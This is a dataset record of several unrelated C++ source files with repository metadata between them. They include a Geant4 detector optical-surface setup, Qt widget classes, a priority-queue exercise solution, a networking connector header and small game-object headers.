coating) vector<G4OpticalSurface*> opWindowAir; for(unsigned i=0;i<Window_phys.size();++i) { opWindowAir.push_back( new G4OpticalSurface("WindowAirSurface") ); new G4LogicalBorderSurface("WindowAirSurface", Window_phys.at(i),expHall_phys,opWindowAir.at(i)); SetSurfaceProperties(opWindowAir.at(i),fWindowAirsurface_type,fWindowAirSigmaAlpha, fWindowAirwrapping_refl, fWindowAirSL, fWindowAirSS, fWindowAirBS); } //SiPM optical surface // G4MaterialPropertiesTable* myMPT5 = new G4MaterialPropertiesTable(); G4double energySilicon[] = {4.96, 4.7692307692, 4.5925925926, 4.4285714286, 4.275862069, 4.1333333333, 4, 3.875, 3.7575757576, 3.6470588235, 3.5428571429, 3.4444444444, 3.3513513514, 3.2631578947, 3.1794871795, 3.1, 3.0243902439, 2.9523809524, 2.8837209302, 2.8181818182, 2.7555555556, 2.6956521739, 2.6382978723, 2.5833333333, 2.5306122449, 2.48, 2.431372549, 2.3846153846, 2.3396226415, 2.2962962963, 2.2545454545, 2.2142857143, 2.1754385965, 2.1379310345, 2.1016949153, 2.0666666667, 2.0327868852, 2, 1.9682539683, 1.9375, 1.9076923077, 1.8787878788, 1.8507462687, 1.8235294118, 1.7971014493, 1.7714285714, 1.7464788732, 1.7222222222, 1.698630137, 1.6756756757, 1.6533333333, 1.6315789474, 1.6103896104, 1.5897435897, 1.5696202532, 1.55, 1.5308641975, 1.512195122, 1.4939759036, 1.4761904762, 1.4588235294, 1.4418604651, 1.4252873563, 1.4090909091, 1.393258427, 1.3777777778, 1.3626373626, 1.347826087, 1.3333333333, 1.3191489362, 1.3052631579, 1.2916666667, 1.2783505155, 1.2653061224, 1.2525252525, 1.24}; G4double Re_n[] = {1.694, 1.8, 2.129, 3.052, 4.426, 5.055, 5.074, 5.102, 5.179, 5.293, 5.483, 6.014, 6.863, 6.548, 5.976, 5.587, 5.305, 5.091, 4.925, 4.793, 4.676, 4.577, 4.491, 4.416, 4.348, 4.293, 4.239, 4.192, 4.15, 4.11, 4.077, 4.044, 4.015, 3.986, 3.962, 3.939, 3.916, 3.895, 3.879, 3.861, 3.844, 3.83, 3.815, 3.8, 3.787, 3.774, 3.762, 3.751, 3.741, 3.732, 3.723, 3.714, 3.705, 3.696, 3.688, 3.681, 3.674, 3.668, 3.662, 3.656, 3.65, 3.644, 3.638, 3.632, 3.626, 3.62, 3.614, 3.608, 3.602, 3.597, 3.592, 3.587, 3.582, 3.578, 3.574, 3.57}; G4double Im_n[] = {3.666, 4.072, 4.69, 5.258, 5.16, 4.128, 3.559, 3.269, 3.085, 2.951, 2.904, 2.912, 2.051, 0.885, 0.465, 0.303, 0.22, 0.167, 0.134, 0.109, 0.091, 0.077, 0.064, 0.057, 0.05, 0.045, 0.039, 0.036, 0.033, 0.03, 0.028, 0.026, 0.024, 0.023, 0.021, 0.02, 0.018, 0.017, 0.016, 0.015, 0.015, 0.014, 0.013, 0.012, 0.011, 0.011, 0.011, 0.01, 0.009, 0.008, 0.008, 0.007, 0.007, 0.006, 0.006, 0.005, 0.005, 0.005, 0.004, 0.004, 0.004, 0.003, 0.003, 0.003, 0.002, 0.002, 0.002, 0.002, 0.002, 0.001, 0.001, 0.001, 0.001, 0.001, 0.001, 0.001}; G4double Eff[] = {1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1., 1.}; G4double Refl[] = {0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.};/*{0.672612594, 0.7051739998, 0.7320895527, 0.7229564109, 0.6842353612, 0.623487589, 0.5904758352, 0.5741303379, 0.5656774122, 0.5617493182, 0.5653802759, 0.5829110024, 0.5842708013, 0.5465022924, 0.5109736438, 0.4860210277, 0.4668532597, 0.4515215805, 0.4391232489, 0.4289072653, 0.4195856995, 0.4114859504, 0.4042813942, 0.3978791808, 0.3919647328, 0.3871055313, 0.3822645215, 0.3779990919, 0.3741420137, 0.3704285222, 0.3673359361, 0.3642162212, 0.3614517486, 0.3586671346, 0.3563449752, 0.3541066718, 0.3518536143, 0.3497852413, 0.3482013386, 0.3464114799, 0.3447139284, 0.3433093164, 0.3417986254, 0.340281901, 0.3389624224, 0.3376390016, 0.3364132847, 0.3352856254, 0.33425759, 0.3333299988, 0.3324006727, 0.3314686517, 0.3305348304, 0.3295983594, 0.3287643932, 0.3280328678, 0.3273003059, 0.3266713015, 0.3260410062, 0.3254099758, 0.3247779306, 0.3241446496, 0.3235105692, 0.3228754694, 0.3222391901, 0.3216020461, 0.3209638781, 0.3203246844, 0.3196844635, 0.3191500638, 0.3186150452, 0.3180793106, 0.317542859, 0.3171131809, 0.316683043, 0.3162524448};*/ assert(sizeof(energySilicon) == sizeof(Re_n) && sizeof(energySilicon) == sizeof(Im_n) && sizeof(energySilicon) == sizeof(Eff) ); const G4int nEnSi = sizeof(energySilicon)/sizeof(G4double); //myMPT5->AddProperty("EFFICIENCY",energySilicon, Eff, nEnSi); myMPT5->AddProperty("REALRINDEX", energySilicon, Re_n, nEnSi); myMPT5->AddProperty("IMAGINARYRINDEX", energySilicon, Im_n, nEnSi); //myMPT5->AddProperty("REFLECTIVITY",energySilicon, Refl, nEnSi); G4cout << "Silicon G4MaterialPropertiesTable" << G4endl; G4OpticalSurface* SiPM_opsurf = new G4OpticalSurface("SiPM_opsurf",glisur,polished, dielectric_metal); SiPM_opsurf->SetMaterialPropertiesTable(myMPT5); new G4LogicalSkinSurface("SiPM_surf",SiPM_log,SiPM_opsurf); /* std::vector<G4OpticalSurface*> SiPM_opsurf; for(unsigned i=0;i<SiPM_log.size();i++) { SiPM_opsurf.push_back( new G4OpticalSurface("SiPM_opsurf",glisur,polished, dielectric_metal) ); //new G4LogicalBorderSurface("SiPM_opsurf", Glue_phys,SiPM_phys,SiPM_opsurf); SiPM_opsurf.at(i)->SetMaterialPropertiesTable(myMPT5); new G4LogicalSkinSurface("SiPM_surf",SiPM_log.at(i),SiPM_opsurf.at(i)); } */ //Print parameters G4cout << G4endl << "------------------------------------------------------------" << G4endl << "---> The Tile is " << fCryst_x*2 << " x " << fCryst_y*2 <<" x "<<fCryst_z*2<<" mm^3 "<< G4endl << "------------------------------------------------------------" << G4endl; // // Visualization attributes // G4VisAttributes* simpleBoxVisAtt0= new G4VisAttributes(G4Colour(1.0,1.0,1.0)); simpleBoxVisAtt0->SetVisibility(false); expHall_log->SetVisAttributes(simpleBoxVisAtt0); //(G4VisAttributes::Invisible); G4VisAttributes* simpleBoxVisAtt1= new G4VisAttributes(G4Colour(1.0,0.0,0.0));//red simpleBoxVisAtt1->SetVisibility(true); crystal_log->SetVisAttributes(simpleBoxVisAtt1); G4VisAttributes* simpleBoxVisAtt2= new G4VisAttributes(G4Colour(0.0,1.0,0.0));//green simpleBoxVisAtt2->SetVisibility(true); SiPM_log->SetVisAttributes(simpleBoxVisAtt2); G4VisAttributes* simpleBoxVisAtt3= new G4VisAttributes(G4Colour(0.0,0.0,1.0));//blue simpleBoxVisAtt3->SetVisibility(true); Glue_log->SetVisAttributes(simpleBoxVisAtt3); G4VisAttributes* simpleBoxVisAtt4= new G4VisAttributes(G4Colour(0.8,0.4,0.0));//orange simpleBoxVisAtt4->SetVisibility(true); Window_log->SetVisAttributes(simpleBoxVisAtt4); // // Always return the physical World // return expHall_phys; } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......--------------------------------------- void DetectorConstruction_planar::SetSurfaceProperties (G4OpticalSurface* opSurface, int surface_type, double SigmaAlpha, double refl, double SL, double SS, double BS) { opSurface->SetType(dielectric_dielectric); opSurface->SetFinish(G4OpticalSurfaceFinish(surface_type)); if(surface_type == 0 || surface_type == 1) opSurface->SetModel(glisur); else opSurface->SetModel(unified); const G4int NUM = 2; G4double XX[NUM] = {1.8*eV,3.4*eV} ; G4double refractiveIndex[NUM] = {1.002, 1.002}; G4double specularLobe[NUM] = {SL, SL}; G4double specularSpike[NUM] = {SS, SS}; G4double backScatter[NUM] = {BS, BS}; G4double REFLECT[NUM] = {refl,refl}; G4MaterialPropertiesTable* myST1 = new G4MaterialPropertiesTable(); if(surface_type >=2) { opSurface->SetSigmaAlpha(SigmaAlpha); myST1->AddProperty("SPECULARLOBECONSTANT", XX, specularLobe, NUM); myST1->AddProperty("SPECULARSPIKECONSTANT", XX, specularSpike, NUM); myST1->AddProperty("BACKSCATTERCONSTANT", XX, backScatter, NUM); } if(surface_type == 1 || surface_type == 2 || surface_type == 4 || surface_type == 5) myST1->AddProperty("REFLECTIVITY", XX, REFLECT,NUM); if(surface_type == 2 || surface_type == 5) myST1->AddProperty("RINDEX", XX, refractiveIndex, NUM); if (surface_type >=1 && surface_type<=5) opSurface->SetMaterialPropertiesTable(myST1); } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......--------------------------------------- void DetectorConstruction_planar::ConstructSDandField() { // G4SDManager::GetSDMpointer()->SetVerboseLevel(1); // // Sensitive detectors // SiPM_SD* SiPM = new SiPM_SD("SiPM_detector", "SiPMHitsCollection", 1,fPDEoption,fweight); SetSensitiveDetector("SiPM",SiPM); } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo......
[ "fabio.monti@cern.ch" ]
fabio.monti@cern.ch
e056c9c28650c8a5906bda80f3ec347317819ad8
d0c9caa49c6ea89eb53e6278e9acc97bc53b9d97
/snowwid.h
48902dbdf55a2ad6accbbf127f3ea460ad36f38f
[]
no_license
kovax3/objdesktop
b1d08789b891364b5f950992623f277bad6ea48d
12cdba0a250983822dc1ae035820dc8c9b590cec
refs/heads/master
2020-04-14T19:02:19.996423
2012-12-07T12:59:44
2012-12-07T12:59:44
34,540,284
0
0
null
null
null
null
UTF-8
C++
false
false
711
h
#ifndef SNOWWID_H #define SNOWWID_H #include <QWidget> #include <QTimer> #include "object.h" #include <QDesktopWidget> class snowwid : public QWidget { Q_OBJECT public: snowwid(QWidget *parent = 0); QTimer *timer; private: QDesktopWidget *wid; enum {num=100}; Object *snow[num]; int dx[num], xp[num]; int maxSize,minSize; int numSnow; bool onTop; int topScreen; int botScreen; int leftScreen; int rightScreen; int oldNum; private slots: void updateTime(); public slots: void updat(); void deletAll(); void setSnowSize(int max,int min); void setSnowNember(int num); void setSnowOnTop(bool top); }; #endif // SNOWWID_H
[ "nouah.ali@gmail.com" ]
nouah.ali@gmail.com
d74b9d40fb38d58af9d48ecaba95d74ec6287b8f
1479bda36d50ba65657520469f1926ec3c5f2777
/Exercise/more_hot.cpp
0ca38f8f717b304376fb36db2fc8b3357c4d304b
[]
no_license
JungRyung/CPP
80578d5f2ce8960a1fb31bd68134740e136cc8dc
564eef9eb888dcdbfbd49e5afa95f8d8a2c44748
refs/heads/master
2023-04-04T08:09:46.448034
2021-04-14T05:29:20
2021-04-14T05:29:20
176,876,980
0
0
null
null
null
null
UTF-8
C++
false
false
1,066
cpp
#include <string> #include <vector> #include <queue> #include <iostream> using namespace std; int solution(vector<int> scoville, int K) { int answer = 0; int first, second; priority_queue<int, vector<int>, greater<int> > scoville_queue; for(int i=0; i<scoville.size(); i++) { scoville_queue.push(scoville.at(i)); } while(scoville_queue.size()>1) { answer++; first = scoville_queue.top(); scoville_queue.pop(); second = scoville_queue.top(); scoville_queue.pop(); scoville_queue.push(first+(second*2)); if(scoville_queue.top()>=K) return answer; } if(scoville_queue.top()>=K) return answer; else return -1; // while(scoville_queue.size()>0) // { // cout << scoville_queue.top(); // scoville_queue.pop(); // } // return answer; } int main() { int answer; vector<int> scoville; scoville.push_back(1); scoville.push_back(3); scoville.push_back(2); scoville.push_back(9); scoville.push_back(10); scoville.push_back(12); answer = solution(scoville, 7); cout << answer << endl; return 0; }
[ "37282346+JungRyung@users.noreply.github.com" ]
37282346+JungRyung@users.noreply.github.com
2e488cb99f7c4602bf4312696a7281031cc7de2f
238e46a903cf7fac4f83fa8681094bf3c417d22d
/Code/moduleBase/ModelTreeWidgetBase.cpp
d114530f0d4931b97ffafafb082019a95d1f6d1d
[ "BSD-3-Clause" ]
permissive
baojunli/FastCAE
da1277f90e584084d461590a3699b941d8c4030b
a3f99f6402da564df87fcef30674ce5f44379962
refs/heads/master
2023-02-25T20:25:31.815729
2021-02-01T03:17:33
2021-02-01T03:17:33
268,390,180
1
0
BSD-3-Clause
2020-06-01T00:39:31
2020-06-01T00:39:31
null
UTF-8
C++
false
false
4,195
cpp
#include "ModelTreeWidgetBase.h" #include "mainWindow/mainWindow.h" #include <QContextMenuEvent> #include "moduleBase/modelTreeItemType.h" #include <QMenu> #include <assert.h> namespace ModuleBase { ModelTreeWidgetBase::ModelTreeWidgetBase(GUI::MainWindow* mainwindow, QWidget* parent /* = 0 */) : _mainWindow(mainwindow) { init(); } ModelTreeWidgetBase::~ModelTreeWidgetBase() { } void ModelTreeWidgetBase::init() { this->setHeaderHidden(true); ///注册了TreeWidget 左键单击 connect(this, SIGNAL(itemClicked(QTreeWidgetItem*, int)), this, SLOT(singleClicked(QTreeWidgetItem*, int))); ///注册了TreeWidget 左键双击 connect(this, SIGNAL(itemDoubleClicked(QTreeWidgetItem*, int)), this, SLOT(doubleClicked(QTreeWidgetItem*, int))); ///注册鼠标事件传递通知给mainWindow connect(this, SIGNAL(mouseEvent(int, QTreeWidgetItem*, int)), _mainWindow, SIGNAL(treeMouseEvent(int, QTreeWidgetItem*, int))); ///注册由mainWindow传递通知过来更新树 connect(_mainWindow, SIGNAL(updateTreeSignal()), this, SLOT(updateTree())); ///注册打印信息传递通知给mainWindow connect(this, SIGNAL(printMessageSignal(QString)), _mainWindow, SIGNAL(printMessageToMessageWindow(QString))); } void ModelTreeWidgetBase::updateTree() { } QTreeWidgetItem* ModelTreeWidgetBase::getProjectRoot(QTreeWidgetItem* item) const { if (NULL == item && NULL == _curretnItem) return NULL; if (item == nullptr) item = _curretnItem; while (item->type() != TreeItemType::ProjectRoot && item->parent() != nullptr) { item = item->parent(); } if (item != nullptr) return item; return nullptr; } QTreeWidgetItem* ModelTreeWidgetBase::getProjectRoot(const int pid) const { int n = this->topLevelItemCount(); for (int i = 0; i < n; ++i) { QTreeWidgetItem* item = topLevelItem(i); int id = item->data(0, Qt::UserRole).toInt(); if (id == pid) return item; } return nullptr; } ///contextMenuEvent 重写了底层函数 相当于右键点击 void ModelTreeWidgetBase::contextMenuEvent(QContextMenuEvent *evnt) { emit printMessageSignal("ModelTreeWidgetBase contextMenuEvent star"); _curretnItem = currentItem(); if (!_curretnItem) return; QTreeWidgetItem* item = getProjectRoot(_curretnItem); if (NULL == item) return; assert(item); const int proID = item->data(0, Qt::UserRole).toInt(); on_TreeMouseEvent(1, _curretnItem, proID); emit(mouseEvent(1, _curretnItem, proID)); } void ModelTreeWidgetBase::singleClicked(QTreeWidgetItem* item, int col) { _curretnItem = item; QTreeWidgetItem* rootitem = getProjectRoot(_curretnItem); assert(rootitem); const int proID = rootitem->data(0, Qt::UserRole).toInt(); on_TreeMouseEvent(0, _curretnItem, proID); emit mouseEvent(0, _curretnItem, proID); } void ModelTreeWidgetBase::doubleClicked(QTreeWidgetItem* item, int col) { _curretnItem = item; QTreeWidgetItem* rootitem = getProjectRoot(_curretnItem); assert(rootitem); const int proID = rootitem->data(0, Qt::UserRole).toInt(); on_TreeMouseEvent(0, _curretnItem, proID); emit mouseEvent(2, item, proID); } void ModelTreeWidgetBase::on_TreeMouseEvent(int evevntType, QTreeWidgetItem* item, int id) { //ProjectData::ProjectData* projectdata = ProjectData::Singleton::getInstance()->getProjectDataByID(id); //assert(projectdata != nullptr); ProjectData::ProjectData* projectdata = NULL; switch (evevntType) { case 0://左键单击 on_singleClicked(item, projectdata); break; case 1://右键单击 createContextMenu(item, projectdata); break; case 2://左键双击 on_doubleClicked(item, projectdata); break; default: assert(0); break; } } void ModelTreeWidgetBase::on_singleClicked(QTreeWidgetItem* item, ProjectData::ProjectData* projectData) { } void ModelTreeWidgetBase::on_doubleClicked(QTreeWidgetItem* item, ProjectData::ProjectData* projectData) { } void ModelTreeWidgetBase::createContextMenu(QTreeWidgetItem* item, ProjectData::ProjectData* projectData) { } }
[ "l”ibaojunqd@foxmail.com“" ]
l”ibaojunqd@foxmail.com“
34e66955405b5cc6df1c69267231a4e37a4663a9
228e00812cc2428c1421565e5be3e04bf3660759
/besch/writer/skin_writer.cc
05b95438e65477ee0268659366a1d72218c737b1
[ "LicenseRef-scancode-warranty-disclaimer", "Artistic-1.0", "MIT" ]
permissive
4ssfscker/node-sim
dbfbec5d41988a5f4e1562babea89ccc86c04a2f
2bd3422fd645f415024907c9cf92697057cbc222
refs/heads/master
2021-01-24T10:38:14.973367
2007-06-09T15:12:10
2018-03-04T05:47:05
123,057,027
0
0
null
null
null
null
UTF-8
C++
false
false
887
cc
#include "../../utils/cstring_t.h" #include "../../dataobj/tabfile.h" #include "../skin_besch.h" #include "obj_node.h" #include "text_writer.h" #include "imagelist_writer.h" #include "skin_writer.h" void skin_writer_t::write_obj(FILE* fp, obj_node_t& parent, tabfileobj_t& obj) { slist_tpl<cstring_t> keys; for (int i = 0; ;i++) { char buf[40]; sprintf(buf, "image[%d]", i); cstring_t str = obj.get(buf); if (str.len() == 0) { break; } keys.append(str); } write_obj(fp, parent, obj, keys); } void skin_writer_t::write_obj(FILE* fp, obj_node_t& parent, tabfileobj_t& obj, const slist_tpl<cstring_t>& imagekeys) { slist_tpl<cstring_t> keys; skin_besch_t besch; obj_node_t node(this, sizeof(besch), &parent, true); write_head(fp, node, obj); imagelist_writer_t::instance()->write_obj(fp, node, imagekeys); node.write_data(fp, &besch); node.write(fp); }
[ "noreply@user558903.github.com" ]
noreply@user558903.github.com
0e92d19c64e147de7d4197150152c770bd51e21a
70ded166f2ad8fa39a5e3b9e0a0a169e1218faa2
/BattleTank/Source/BattleTank/Public/Projectile.h
84c272d28a624d096a980e52e0584f18f40a9cad
[]
no_license
littlefalcon/04_BattleTank
6a527dd892a13220127eb2b1a6c434902d7ba9bd
3febcfbf86d04df4be3ebeee4dbbf8e487e8cf59
refs/heads/master
2020-06-01T04:45:10.676964
2017-06-16T13:18:02
2017-06-16T13:18:02
94,062,376
0
0
null
null
null
null
UTF-8
C++
false
false
669
h
// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "GameFramework/Actor.h" #include "Projectile.generated.h" class UProjectileMovementComponent; UCLASS() class BATTLETANK_API AProjectile : public AActor { GENERATED_BODY() public: // Sets default values for this actor's properties AProjectile(); protected: // Called when the game starts or when spawned virtual void BeginPlay() override; public: // Called every frame virtual void Tick(float DeltaTime) override; void LaunchProjectile(float speed); private: UProjectileMovementComponent* ProjectileMovement = nullptr; };
[ "pointkkc@hotmail.com" ]
pointkkc@hotmail.com
140940ce8c438554f03e9b8c53d9e61b8fda3ad1
67cd747626e3a3ea8d8faf2ca99f02ea3d90c557
/kxnet/net/Connector.h
9bf6618cf6de66b91a070d5afac9ed22b19ddba7
[]
no_license
KelvinYin/kxnet
c8912b87b98afb8e0b84129e1348bc190cb8842f
e8ff355783f615dfcb63cbc30639e1dc0cd259f9
refs/heads/master
2021-05-02T15:03:14.443463
2018-02-28T11:01:07
2018-02-28T11:01:07
120,730,967
1
0
null
null
null
null
UTF-8
C++
false
false
1,468
h
// This is an internal header file, you should not include this. #pragma once #include <kxnet/net/InetAddress.h> #include <functional> #include <memory> namespace kxnet { namespace net { class Channel; class EventLoop; class Connector : noncopyable, public std::enable_shared_from_this<Connector> { public: typedef std::function<void (int sockfd)> NewConnectionCallback; Connector(EventLoop* loop, const InetAddress& serverAddr); ~Connector(); void setNewConnectionCallback(const NewConnectionCallback& cb) { newConnectionCallback_ = cb; } void start(); // can be called in any thread void restart();// must be called in loop thread void stop(); // can be called in any thread const InetAddress& serverAddress() const { return serverAddr_; } private: enum States { kDisconnected, kConnecting, kConnected }; static const int kMaxRetryDelayMs = 30*1000; static const int kInitRetryDelayMs = 500; void setState(States s) { state_ = s; } void startInLoop(); void stopInLoop(); void connect(); void connecting(int sockfd); void handleWrite(); void handleError(); void retry(int sockfd); int removeAndResetChannel(); void resetChannel(); EventLoop* loop_; InetAddress serverAddr_; bool connect_; // atomic States state_; // FIXME: use atomic variable std::unique_ptr<Channel> channel_; NewConnectionCallback newConnectionCallback_; int retryDelayMs_; }; } }
[ "yinkangxi@gmail.com" ]
yinkangxi@gmail.com
a641a96c8e0a4144db9aabf8094749ca1d776f4c
ab29ed6ac92e4904f875483b48bfb8679f69609e
/main.cpp
a0953cc9ede8e53cbe74109c77e4aa1def74a82b
[]
no_license
pwightman/rogue
6ab67f03ceef2b34cb9f851b8e033aac20a1bed0
9445d308d09f2a325b9836ebe10fb523108f51ad
refs/heads/master
2016-09-02T00:56:54.680875
2012-04-25T22:09:03
2012-04-25T22:09:03
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,747
cpp
/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** This file is part of the documentation of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:BSD$ ** You may use this file under the terms of the BSD license as follows: ** ** "Redistribution and use in source and binary forms, with or without ** modification, are permitted provided that the following conditions are ** met: ** * Redistributions of source code must retain the above copyright ** notice, this list of conditions and the following disclaimer. ** * Redistributions in binary form must reproduce the above copyright ** notice, this list of conditions and the following disclaimer in ** the documentation and/or other materials provided with the ** distribution. ** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor ** the names of its contributors may be used to endorse or promote ** products derived from this software without specific prior written ** permission. ** ** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." ** $QT_END_LICENSE$ ** ****************************************************************************/ #include <QtGui> #include <iostream> #include "window.h" #include "QRogueWidget.h" using namespace std; int main(int argv, char **args) { QApplication app(argv, args); QRogueWidget* outerWindow = new QRogueWidget(); outerWindow->show(); // rightLayout->addWidget(window); // rightSide->setFocusPolicy( Qt::NoFocus ); // rightSide->setFocusProxy(window); // window->focusWidget(); return app.exec(); } /* QWidget* showClosingIn() { QWidget* active; if(closingInCondition) active = new ClosingIn(); else if(...) active = new Window(Window::gauntlet); else active = new Window(Window::dungeon); // Create box and layout } */
[ "parkerwightman@gmail.com" ]
parkerwightman@gmail.com
15367afa74bd88c49e0c01dd370468ea5486d8a6
d998115bcc7c8e4cf67b241d43ca77503a2d9c20
/cs225git/lab_ml/NimLearner.cpp
29e6d1df5eeae54215f4bea8cf8368846ec9eff9
[]
no_license
wennan-er/CS225
0683aab8dfca6c116ae484629ddc95147e933afa
0472a154ae82ecb0a4658f78fd03dd6e71d2cebe
refs/heads/master
2021-02-04T10:20:54.214491
2020-02-27T12:02:06
2020-02-27T12:02:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,198
cpp
/** * @file NimLearner.cpp * CS 225: Data Structures */ #include "NimLearner.h" #include <ctime> using namespace std; /** * Constructor to create a game of Nim with `startingTokens` starting tokens. * * This function creates a graph, `g_` representing all of the states of a * game of Nim with vertex labels "p#-X", where: * - # is the current player's turn; p1 for Player 1, p2 for Player2 * - X is the tokens remaining at the start of a player's turn * * For example: * "p1-4" is Player 1's turn with four (4) tokens remaining * "p2-8" is Player 2's turn with eight (8) tokens remaining * * All legal moves between states are created as edges with initial weights * of 0. * * @param startingTokens The number of starting tokens in the game of Nim. */ NimLearner::NimLearner(unsigned startingTokens) : g_(true, true) { /* Your code goes here! */ startingVertex_ = "p1-"+to_string(startingTokens); vector<Vertex> vertices; for (int i = int(startingTokens);i>=0; i--) { string p1 = "p1-"+to_string(i); string p2 = "p2-"+to_string(i); g_.insertVertex(p1); g_.insertVertex(p2); vertices.push_back(p1); vertices.push_back(p2); } for (unsigned i = 0; i < 2*startingTokens; i+=2){ int j = int(startingTokens)-i/2; g_.insertEdge(vertices[i],vertices[i+3]); g_.setEdgeWeight(vertices[i],vertices[i+3], 0); g_.setEdgeLabel(vertices[i], vertices[i+3], "p1-"+to_string(j-1)); g_.insertEdge(vertices[i+1],vertices[i+2]); g_.setEdgeLabel(vertices[i+1], vertices[i+2], "p2-"+to_string(j-1)); g_.setEdgeWeight(vertices[i+1],vertices[i+2], 0); if (i+5<= 2*startingTokens+1 ){ g_.insertEdge(vertices[i+1],vertices[i+4]); g_.setEdgeWeight(vertices[i+1],vertices[i+4], 0); g_.setEdgeLabel(vertices[i+1], vertices[i+4], "p2-"+to_string(j-2)); g_.insertEdge(vertices[i],vertices[i+5]); g_.setEdgeWeight(vertices[i],vertices[i+5], 0); g_.setEdgeLabel(vertices[i], vertices[i+5], "p1-"+to_string(j-2)); } } } /** * Plays a random game of Nim, returning the path through the state graph * as a vector of `Edge` classes. The `origin` of the first `Edge` must be * the vertex with the label "p1-#", where # is the number of starting * tokens. (For example, in a 10 token game, result[0].origin must be the * vertex "p1-10".) * * @returns A random path through the state space graph. */ std::vector<Edge> NimLearner::playRandomGame() const { vector<Edge> path; /* Your code goes here! */ Vertex old_state = startingVertex_; Vertex new_state; while (!g_.getAdjacent(old_state).empty()){ vector<Vertex> vec = g_.getAdjacent(old_state); if (vec.size() == 1){ new_state = vec[0]; Edge edge = g_.getEdge(old_state, new_state); path.push_back(edge); old_state = new_state; } else{ int random_number = rand()%2; new_state = vec[random_number]; Edge edge = g_.getEdge(old_state, new_state); path.push_back(edge); old_state = new_state; } } return path; } /* * Updates the edge weights on the graph based on a path through the state * tree. * * If the `path` has Player 1 winning (eg: the last vertex in the path goes * to Player 2 with no tokens remaining, or "p2-0", meaning that Player 1 * took the last token), then all choices made by Player 1 (edges where * Player 1 is the source vertex) are rewarded by increasing the edge weight * by 1 and all choices made by Player 2 are punished by changing the edge * weight by -1. * * Likewise, if the `path` has Player 2 winning, Player 2 choices are * rewarded and Player 1 choices are punished. * * @param path A path through the a game of Nim to learn. */ void NimLearner::updateEdgeWeights(const std::vector<Edge> & path) { /* Your code goes here! */ //determine p1 or p2 win and update their weight int upWeight_p1; int upWeight_p2; if (path.back().dest == "p1-0"){//p2 took the last token : p2 win upWeight_p1 = -1; upWeight_p2 = 1; } else{ upWeight_p1 = 1; upWeight_p2 = -1; } for (int i = 0; i < int(path.size()); i++){ if (i%2 == 0){ Edge edge = path[i]; int oriWeight = g_.getEdgeWeight(edge.source, edge.dest); g_.setEdgeWeight(edge.source, edge.dest, oriWeight+upWeight_p1); }else{ Edge edge = path[i]; int oriWeight = g_.getEdgeWeight(edge.source, edge.dest); g_.setEdgeWeight(edge.source, edge.dest, oriWeight+upWeight_p2); } } } /** * Label the edges as "WIN" or "LOSE" based on a threshold. */ void NimLearner::labelEdgesFromThreshold(int threshold) { for (const Vertex & v : g_.getVertices()) { for (const Vertex & w : g_.getAdjacent(v)) { int weight = g_.getEdgeWeight(v, w); // Label all edges with positve weights as "WINPATH" if (weight > threshold) { g_.setEdgeLabel(v, w, "WIN"); } else if (weight < -1 * threshold) { g_.setEdgeLabel(v, w, "LOSE"); } } } } /** * Returns a constant reference to the state space graph. * * @returns A constant reference to the state space graph. */ const Graph & NimLearner::getGraph() const { return g_; }
[ "wennanh2@illinois.edu" ]
wennanh2@illinois.edu
2f8ea5b49c5356128cd5121273d5f4a4423257b5
008b6f9d0fb1359e3aa76d12fc77e755ae40264a
/d04/ex04/MiningBarge.hpp
ce528997bc251bba3df0421b86e6f7523696a93d
[]
no_license
devadomas/cpp-piscine
2d853f3f3a34a075625c92baa380ccf64c93fdc9
9bee621ba58396828b3342517c9ad1c015136b66
refs/heads/master
2020-04-19T00:24:05.162711
2019-05-31T12:15:56
2019-05-31T12:15:56
167,845,661
1
0
null
null
null
null
UTF-8
C++
false
false
374
hpp
#ifndef MININGBRAGE_HPP #define MININGBRAGE_HPP #include "IMiningLaser.hpp" #include "IAsteroid.hpp" class MiningBarge { public: MiningBarge(void); virtual ~MiningBarge(void); MiningBarge(MiningBarge const &); MiningBarge & operator=(MiningBarge const &); void equip(IMiningLaser *); void mine(IAsteroid *) const; private: IMiningLaser * _arr[4]; }; #endif
